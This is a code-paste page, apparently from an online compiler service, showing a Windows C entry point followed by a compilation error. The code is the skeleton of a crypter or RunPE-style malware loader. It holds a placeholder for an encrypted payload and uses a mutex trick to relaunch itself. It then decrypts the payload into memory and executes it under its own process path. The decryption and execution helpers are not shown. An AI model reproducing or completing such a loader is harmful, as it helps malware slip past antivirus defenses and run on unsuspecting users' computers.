fork download
  1. int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  2. {
  3. LPBYTE pbCryptedImage = (LPBYTE) 0xDEADC0DE;
  4. DWORD dwImageSize = 0xDEADFADE;
  5. LPBYTE pbMemoryImage = NULL;
  6. TCHAR szFilePath[MAX_PATH];
  7. HANDLE hMutex = NULL;
  8.  
  9. hMutex = CreateMutex(NULL, TRUE, TEXT("muuu==="));
  10. if (GetLastError() == ERROR_ALREADY_EXISTS)
  11. {
  12. pbMemoryImage = (LPBYTE) ShellcodeToMem(pbCryptedImage, dwImageSize);
  13. if (pbMemoryImage)
  14. {
  15. GetModuleFileNameA(0, LPSTR(szFilePath), MAX_PATH);
  16. ExecFile(LPSTR(szFilePath), pbMemoryImage);
  17. }
  18. }
  19. else
  20. {
  21. GetModuleFileNameA(0, LPSTR(szFilePath), MAX_PATH);
  22. WinExec(szFilePath, SW_SHOW);
  23. Sleep(100);
  24. }
  25. return 0;
  26. }
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.c:1:14: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'WinMain'
 int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
              ^
stdout
Standard output is empty